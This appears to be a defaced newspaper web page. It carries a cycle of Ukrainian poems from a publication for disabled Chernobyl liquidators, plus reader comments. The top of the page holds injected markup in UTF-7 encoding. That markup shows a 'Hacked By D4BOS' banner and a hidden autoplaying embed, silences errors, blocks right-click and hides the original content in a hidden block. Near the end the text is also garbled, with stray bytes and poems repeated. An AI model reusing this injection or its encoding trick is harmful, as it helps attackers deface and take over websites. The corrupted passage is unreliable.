+ADw-/title+AD4 +ADw-script language+AD0AIg-JavaScript1.2+ACIAPg function ClearError() +AHs-return true+ADsAfQ window.onerror +AD0 ClearError+ADs +ADw-/script+AD4 +ADw-title+AD4AfA 0wn3d+ADw-/title+AD4 +ADw-html+AD4APA-/head+AD4 +ADw-title+AD4-Hacked By D4BOS+ADw-/title+AD4 +ADw-head+AD4APA-link rel+AD0AIg-shortcut icon+ACI href+AD0AIg-http://img.webme.com/pic/i/iconvar/turk-b-11.png+ACI-/+AD4APA-/head+AD4 +ADw-body bgcolor+AD0AIg-black+ACIAPg +ADw-center+AD4APA-br+AD4APA-br+AD4 +ADw-div class+AD0AIg-imagehold+ACIAPg +ADw-img src+AD0AIg-https://i.hizliresim.com/2rXYqL.jpg+ACI alt+AD0AIg-width+AD0AIg-600+ACI height+AD0AIg-450+ACI style+AD0AIg-padding-top:0px+ACI-/+AD4APA-br+AD4APA-br+AD4 +ADw-div style+AD0AIg-color:white+ADs-font:12pt Courier New+ADsAIgA+ADw-b+AD4APA-/font+AD4APA-font color+AD0AIgAj-FF0000+ACIAPgA8-/font+AD4APA-/div+AD4APA-/b+AD4 +ADw-div style+AD0AIg-color:white+ADs-font:9pt Courier New+ADsAIgA+ADw-/font+AD4APA-/div+AD4APA-/b+AD4 +ADw-div style+AD0AIg-color:red+ADs-font:12pt Courier New+ADsAIgA+ADw-b+AD4-Hacked By D4BOS+ADw-/font+AD4APA-font color+AD0AIgAj-FF0000+ACIAPgA8-/font+AD4APA-/div+AD4APA-/b+AD4 +ADw-div style+AD0AIg-color:white+ADs-font:9pt Courier New+ADsAIgA+ADw-/b+AD4APA-/font+AD4APA-/div+AD4APA-br+AD4 +ADw-div style+AD0AIg-color:white+ADs-font:15pt Courier New+ADsAIgA+ADw-b+AD4-D4BOS+ADs-Taktik yok bam bam +ADw-/b+AD4APA-img width+AD0AIg-20+ACI src+AD0AIg-https://www.emojibase.com/resources/img/emojis/apple/x1f52b.png.pagespeed.ic.kmplwnKCyI.png+ACIAPgAm-nbsp+ADsAPA-img src+AD0AIg-https://www.emojibase.com/resources/img/emojis/apple/x1f52b.png.pagespeed.ic.kmplwnKCyI.png+ACI width+AD0AIg-20+ACIAPgA8-br+AD4 +ADw-/font+AD4APA-/div+AD4APA-br+AD4 +ADw-div style+AD0AIg-color:grey+ADs-font:12pt Courier New+ADsAIgA+-DeadlyCrew.info+ADw-/font+AD4APA-/div+AD4APA-br+AD4 +ADw-div style+AD0AIg-color:white+ADs-font:11pt Courier New+ADsAIgA+ADw-/font+AD4APA-font color+AD0AIgAj-FF0000+ACIAPg +ADw-/font+AD4APA-font color+AD0AIgAj-545454+ACIAPgA8-/font+AD4APA-/div+AD4APA-br+AD4APA-/div+AD4APA-/b+AD4 +ADw-b+AD4 +ADw-div style+AD0AIg-color:red+ADs-font:9pt Courier New+ADsAIgA+ADw-b+AD4 +ADw-div style+AD0AIg-color:red+ADs-font:15pt Courier New+ADsAIgA+-d4bos.wordpress.com+ADw-/font+AD4APA-/div+AD4APA-br+AD4 +ADw-p align+AD0-center style+AD0AIg-text-align:center+ACIAPgA8-b+AD4APA-br+AD4 +ADwAIQ—hacked by D4BOS–+AD4 +ADw-/body+AD4 +ADw-embed src+AD0AIg-http://www.youtube.com/v/uCrm9RghRjU?version+AD0-3+ACY-amp+ADs-hl+AD0-en+AF8-US+ACY-amp+ADs-rel+AD0-0+ACY-amp+ADs-autoplay+AD0-1+ACI type+AD0AIg-application/x-shockwave-flash+ACI width+AD0AIg-1+ACI height+AD0AIg-1+ACI allowscriptaccess+AD0AIg-always+ACI allowfullscreen+AD0AIg-true+ACIAPgA8-/embed+AD4 +ADw-SCRIPT LANGUAGE+AD0AIg-Javascript+ACIAPgA8ACE— // +ACoAKgAqACoAKgAqACoAKgAqACoAKgAqACoAKgAqACoAKgAqACoAKgAqACoAKgAqACoAKgAqACoAKgAqACoAKgAqACoAKgAqACoAKgAqACoAKgAqACoAKgAqACoAKg // +ACoAKgAqACoAKgAqACoAKgAqACoAKgAqACoAKgAqACoAKgAqACoAKgAqACoAKgAqACoAKgAqACoAKgAqACoAKgAqACoAKgAqACoAKgAqACoAKgAqACoAKgAqACoAKg // +ACoAKgAqACoAKgAqACoAKgAqACoAKgAqACoAKgAqACoAKgAqACoAKgAqACoAKgAqACoAKgAqACoAKgAqACoAKgAqACoAKgAqACoAKgAqACoAKgAqACoAKgAqACoAKg var isNS +AD0 (navigator.appName +AD0APQ +ACI-Netscape+ACI) ? 1 : 0+ADs var EnableRightClick +AD0 0+ADs if(isNS) document.captureEvents(Event.MOUSEDOWN+AHwAfA-Event.MOUSEUP)+ADs function mischandler()+AHs if(EnableRightClick+AD0APQ-1)+AHs return true+ADs +AH0 else +AHs-return false+ADs +AH0 +AH0 function mousehandler(e)+AHs if(EnableRightClick+AD0APQ-1)+AHs return true+ADs +AH0 var myevent +AD0 (isNS) ? e : event+ADs var eventbutton +AD0 (isNS) ? myevent.which : myevent.button+ADs if((eventbutton+AD0APQ-2)+AHwAfA(eventbutton+AD0APQ-3)) return false+ADs +AH0 function keyhandler(e) +AHs var myevent +AD0 (isNS) ? e : window.event+ADs if (myevent.keyCode+AD0APQ-96) EnableRightClick +AD0 1+ADs return+ADs +AH0 document.oncontextmenu +AD0 mischandler+ADs document.onkeypress +AD0 keyhandler+ADs document.onmousedown +AD0 mousehandler+ADs document.onmouseup +AD0 mousehandler+ADs //–+AD4 +ADw-/script+AD4APA-DIV style+AD0AIg-DISPLAY: none+ACIAPgA8-xmp+AD4-

Газета Всеукраїнської Спілки ліквідаторів-інвалідів "Чорнобиль-86". Всеукраїнський часопис для інвалідів Чорнобиля, ліквідаторів, чорнобилян.
10.03.2013, рубрика "Поезії"

Особистий Апокаліпсис

- 1-

Планети пливли

орбітами,

Сонця спалахнули

знов.

Ввійшли в резонанс

із квітами

І породили любов.

Галактики

розбігалися,

Матерія Всесвіт несла.

Гравітації

переплітались.

Так появилась  я.

2

Оце і все?

Де таємниця долі?

Той зміст

І дивина,

Що суттю є життя.

Для чого це?

Усі жалі і болі?

Перипетії всі

І радощі буття.

Так просто все.

До жаху,

До знетями.

Я йду вперед,

Рахуючи роки.

Розмінюючи їх,

Як вітер над полями

Минулих дат

Несе сухі листки.

–3–

Хвилини

тихою ходою

ідуть собі

у небуття.

Без залпів

і без феєрверків

минається

моє життя.

Дивлюся

з відчаєм

у море.

Ти там,

на тому кораблі,

Де повно вітру

і свободи,

А в трюмах – зливки золоті.

На кожному –

тавро від Бога.

Його

палаюча печать.

Нема там місця

для зневіри,

Згоріли біль,

журба й печаль.

– 4 –

Вітер п’яний

Від пряних трав

Липне й бавиться,

Сміло ластиться.

Ти вернутися

Уже б мав,

Час так тягнеться,

Серце мається.

В палісадниках

Білим маревом

Вишні піняться,

Світлом граються.

Чорним варевом

Думки плавляться.

Жити хочеться

Та не можеться.

Темним вихором

Вечір звіявся.

Все так міниться,

В душу тягнеться.

Відчуваю я,

Розумію вже:

Вранці з лялечки

Бабка з’явиться.

– 5 –

Усохлий лист –

Загублені слова.

Омріяна любов

Розвіяна за вітром.

В душі твоїй

Космічна пустота,

І темрява космічна

Править світом.

А вже дорога

Тягнеться в жита.

А за житами –

Тихо, тихо, тихо…

Моє життя

І вже твоє життя

Несе у Всесвіт

Павутинне літо.

– 6 –

Подарую тобі

Я ластівку.

Хай гніздечко

Зів’є у схованку.

Намистини зберу

Розсипані,

Наче дні,

Нами марно втрачені.

Мов слова

Найніжніші

Не сказані,

Наче ласки,

Комусь даровані.

І жалі

По полях розвіяні,

І цілунки,

В пісках заховані.

– 7 –

На мене осінь

Тихо наступа,

Палкі бажання

Вкравши непомітно.

Блискучим сріблом

Вгамувавши їх,

Як павутинням –

Швидкоплинне літо.

В моїй душі –

Буяння золоте.

Ті фарби осінь

Вкравши, закопала.

Взамін мені

Даруючи лише

Неясні сни.

Але і ті

В туманах заховала.

Дощі і мряка,

Мокрий листопад.

Мої надії

В вирій відлітають.

Сніги метуть,

І білим забуттям

Немов саваном

Болі сповивають.

– 8 –

Замок на піску –

То наші мрії.

Їх розвіє

Хижий буревій.

Літо у зеніті

Сонцем мліє

І на море дивиться

З-під вій.

Я і ти живемо

В тому замку.

Бульбашки кладемо

У горня.

Що за страва вийде?

Нам не втямки.

Бо киплять у ньому

Ти і я.

- 9 -

Долю я побачу

На долоні.

Скривляться приречено

вуста.

Доля в мене,

Як погода в морі,

Ненадійна

Й зовсім непроста.

Як у хвилях

вічних,

Є в ній сила,

Є в ній злети,

Плин до берегів,

Є сплетіння

Наших доль

магічне.

Радість друзів.

Заздрість ворогів.

Сяє місяць.

Сяють ясні зорі.

Топчем ряст,

Піщинки золоті.

Дві рибинки

в морі,

Дві пташини,

Сплетені у золото

нитки.

-10-

А вже сиплеться

Листя додолу,

Наче плаче

За скінчений вік.

Ти зажурено

Сядеш край столу,

Та оглянеш

За звичкою рік.

Більше втрат і нещасть,

Що поробиш…

І батьки вже у інших

світах.

Вже й на нас

Із небесних хоромів

Поглядає провісником

птах.

Він у дзьобі  тримає

барвисте

І прозоре мінливе шиття.

Придивися, як зможеш:

До краю

Вже плететься

Нитками буття.

- 11 -

Давно вже я

Втопилася в болоті.

І мохом заросла,

як  водяний.

Я істини стихій

Буду молоти.

Муку розвіє

Чорний буревій.

А у болоті

Темно, тепло, тихо,

А сонце сяє

Десь у небесах.

Десь, пам’ятаю,

Є земля і квіти,

І вітер юний

В білих парусах.

Життя іде.

Покрилась сивиною.

Але в болоті

Кольори брудні.

Не видно сліз,

І кволою рукою

Немов сліпих,

Я підганяю дні.

- 12 -

Шарудить  тихо дощ

У мене за вікнами.

Достигає душа,

Як бажаний плід.

В паралельних світах

Заховалася істина,

Лише зоряний пил

Розсипався вслід.

Я дивуюся знов

Світу безмежному,

Де з’єдналося світло

У сім кольорів.

А від нашого горя,

Що взялося пожежами,

Назавжди за моря

Щастя птах відлетів.

- 13 -

Всі ми прагнемо в рай,

Та гріхи не пускають.

Наші душі в пітьмі

Наче тіні, блукають.

Ми всі прагнем добра

І для ближнього щастя,

І у вічності істин

Справно просим причастя.

Дрібнота у житті,

Жменя фраз, як годиться,

Може, ми всі спимо?

Може, нам усе сниться?

Де звитяга й любов?

І напруження мислі?

До зірок прагну знов.

Вищий світ, одзовися!

– 14 –

Дивні сни і тривоги,

Відчуття і прикмети.

У туманах доріг –

Інтуїції  злети .

Мені дивно самій,

Як все складно в людині.

Як було все колись,

Збереглося й донині.

Всі так прагнуть грошей,

Слави, влади й безсмертя.

Знає тільки земля,

Як ці істини стерті.

Як ввібрала вона

В себе кров і надії,

Сльози – в темні моря,

Утопивши в них мрії.

-15-

Припорошило надворі,

припорошило.

Твоїх слідів

немов і не було.

Замерзли поцілунки,

а кохання

Весняним снігом

швидко замело.

Відгомоніло все,

відгомоніло.

Моє життя,

як міст,

Надвоє розвело.

Хоч райдуга над ним

Було злетіла,

та що було,

За тим і загуло.

Не плачу я,

повір мені, не плачу.

Живу собі,

як Бог мені велить.

Тільки з тих пір

я райдугу не бачу.

Хоч вір мені,

а хочеш, то не вір.

- 1 6 -

Дикі трави

позаплітались,

Наче тіні

усіх образ.

Разом в серці

вони зібрались,

Мов лелеки,

злетіли враз.

І не вернуться.

І слава Богу.

Я так ціную

своє життя.

Я так радію

усьому тому,

Що всім дає нам

просте буття.

- 17 -

Розірвана навпіл любов

Кричала від болю і жаху.

Я марне змагаюся знов

З печаллю, із сумом, із страхом.

Піду я у люди, піду,

І в торбу зумію зібрати

Всі болі людські, всі жалі,

Поразки, хвороби і втрати.

Віддам я стихіям мішок,

Що скоять із ним, я вже знаю:

Розвіють, спалять, розметуть

По водах, вітрах, гай-розмаях.

Стою край дороги, стою,

Сумна, як наш світ, тополина.

Чорний ворон на правім плечі,

А на лівім – ота половина.

- 18 -

Сяють апельсини золоті,

Сонячне проміння притягають.

Як люблю я все оце земне,

Все, що люди завжди залишають.

Залишають трави і поля,

Забувають зорі в небі чистім,

Тягне в себе матінка-земля

І ховає в жовтім палім листі.

Вмішую я в фарби почуття,

Чарівними пензлями я пишу

В кольорах зникає небуття,

Магія майбутнього нас тішить.

-19-

Я не буду

більше сумувати.

Печалитись,

битись у знетямі.

Як це ми

розумні дві істоти

Опинились, як кутята,

в ямі.

Темно й холодно,

і нічого поїсти.

І водичка висохла

на сонці.

Лише сльози

можу я подати.

Та окрайок неба

у віконці.

А були ж багаті

і щасливі.

Сила духу

мрії підганяла.

От життя!

То сірість

Всі скарби

заввиграшки відняла!

- 20-

Норі

Твій вік короткий,

Як і мій,

О, кішко мила

І пухнаста.

Ласкаво дивишся

З-під вій,

До моїх ніг

Біжиш припасти.

З жалем

Погладжую тебе,

Як гладила

Таку ж до тебе.

Я знаю:

Янгол десь згори

З печаллю

Дивиться на мене.

А круговерть

Цього життя

Нас всіх несе

Вже у тумани.

Різниця та:

Я знаю все,

Твоє ж буття –

Одна омана.

– 21 –

Тихим шелестом падає

дощ.

Ліс від ласки такої

умлів.

Дні протягують руки

мені

Їм давно уже час

наболів.

Таємнича субстанція

та

Найсильніша за всі

почуття,

Він народжує тільки

нове

А старе проганяє

з життя.

Він з кохання витрушує

пил,

Вишиває у серці

добро.

Сперечатися з ним,

чи дружить,

Навіть зорям, і то

не дано.

– 22 –

Ти забудь про все,

Ти забудь,

Як забув про це

Милий твій.

Хай тебе

Береже Господь,

Як дітей

Птахи крилами.

Надворі зима

Замело кругом.

До землі небеса

Горнуться.

Десь твоя душа

Із вершин світів

Озирнеться ,

Спомне це.

Дивно так навкруг,

Аж дзвенять серця.

Все і скрізь

Обертається.

А твоя душа,

Як, мабуть,

Там всі,

У земних гріхах

Слізно кається.

- 23 -

Я пішла у ліс

І заблукала,

Вже й забула,

Що я там шукала.

Вже й не пам’ятаю

Ту дорогу,

Що веде до отчого

Порогу.

Я тримала квітку

На долоні,

Хто у кого

Був тоді в полоні?

На жар-птицю

Тільки оглянулась,

Як у світі іншому

Проснулась.

– 24–

Заплуталося

Сонце в гіллі,

Як  в неводі

Велика риба.

Слова твої,

Як хмари білі,

Немов одрізана

Від хліба скиба.

В зусиллях вирватись

З полону,

Надулось сонце

Й запалало.

Роки, як грядки,

Прополола,

Та цього

Виявилось мало.

Росте любов,

Як зілля, буйно.

Морозу  в косах

Не боїться.

Барвінком стелеться

Так журно,

Замість роси

Слізьми труїться.

Візьму я серп.

Неначе місяць,

Косу відріжу,

Й трави скошу.

А що любов така

Всесильна,

Я тільки зорям оголошу.

– 25 –

Грався заметіллю,

Веселий вітер

Бавився в саду

Серед розкішних

Яблуньок і вишень.

Сумні дівчата,

Яблуні в саду,

Зеленим листям

Прикривали тіло.

Шалів від пристрасті,

Пришвидшував ходу,

Щоб пелюстками

Вистеляти тишу.

Веселий вітер

Синій погляд свій

Тягнув до квітів,

–26 –

Сіра моль,

Не та, не золотиста,

Непомітно залетіла в місто.

І, стріпнувши негустим волоссям,

Розсміялась геть неголосисто.

Скільки тут метеликів барвистих!

Мов коштовних намистин в намисті.

В парах весело собі літають,

Про підступність навіть

І не знають.

Он той красень!

Чом мені не пара?

Сіра моль його собі обрала.

В павутину слів його піймала

Чарівним пилком

Своїм приспала.

Не родись вродлива,

А щаслива! –

Сіра моль дочці

Своїй  сказала.

Оглянулась на метелика.

Той кволо

Чарівним пилком

Набив вже воло.

– 27 –

Весь сум

Згорьованого серця

Несу я

В срібному відерці.

Віддам воді,

Віддам землі

Всі свої болі

І жалі.

До сонця  встану.

В росах чистих

Знайду натхнення

Я намисто.

Ввійду я в день,

Як у світлицю,

Як в небо ясная

Жар-птиця.

- 28 -

Розправлю руки

Наче крила,

Ось в небо

Я уже злетіла.

Там брама

З хмар й ясного

сонця.

І янгол дивиться

в віконце.

Він з тіла душу

визиває,

Сліпучим сяйвом

огортає.

Душа слабка

І  ще незріла,

А прагне вирватись

і з тіла.

– 29 –

Я розкрию реальність, як мушлю,

Я на струнах енергій заграю.

Осягнути про світ усе мушу,

І про нього відразу подбаю.

Я до сонця з незрячими рушу,

У їх душах магічне відкрию.

Пелену із сердець їхніх струшу.

Мрію й бачу, що я це зумію.

Нас незнаного пил огортає,

І страхи, і хвороби нас тиснуть.

Та я бачу, як ми повертаєм

Вже до чуда, до мислі, до істин.

tyl]�8a-P� �^25pt'>Жар-птиця.

- 28 -

Розправлю руки

Наче крила,

Ось в небо

Я уже злетіла.

Там брама

З хмар й ясного

сонця.

І янгол дивиться

в віконце.

Він з тіла душу

визиває,

Сліпучим сяйвом

огортає.

Душа слабка

І  ще незріла,

А прагне вирватись

і з тіла.

– 29 –

Я розкрию реальність, як мушлю,

Я на струнах енергій заграю.

Осягнути про світ усе мушу,

І про нього відразу подбаю.

Я до сонця з незрячими рушу,

У їх душах магічне відкрию.

Пелену із сердець їхніх струшу.

Мрію й бачу, що я це зумію.

Нас незнаного пил огортає,

І страхи, і хвороби нас тиснуть.

Та я бачу, як ми повертаєм

Вже до чуда, до мислі, до істин.

Запись была опубликована: glavred(ом) Воскресенье, 10 марта 2013 г. в 11:49
и размещена в разделе Поезії.
Вы можете следить за ответами к этой публикации через ленту RSS 2.0.
Вы можете оставить ответ или trackback с вашего сайта.

На сообщение "Лара РОССА" 3 комментария

  1. Мария Ивановна сказал(а):

    Спасибо за эти стихи! Я не очень люблю поэзию, но тут – зацепило! Чувствуется и душа и талант!

  2. Мария Ивановна сказал(а):

    Здравствуйте! Спасибо за эту тяжелую. но нужную тему! Таким людям нужна поддержка. От рака умерла моя родная тетя… Нужна такая литература, чувствуешь, что ты с людьми…. Ждем всей семьей продолжения!

  3. Нонна Литвинова сказал(а):

    Здравствуйте! Прочитала стихи “Особистий апокаліпсис”, очень затронуло… Дай бог здоровья автору и еще силы для чего-то следующего.

Оставить комментарий

 

Полный анализ сайта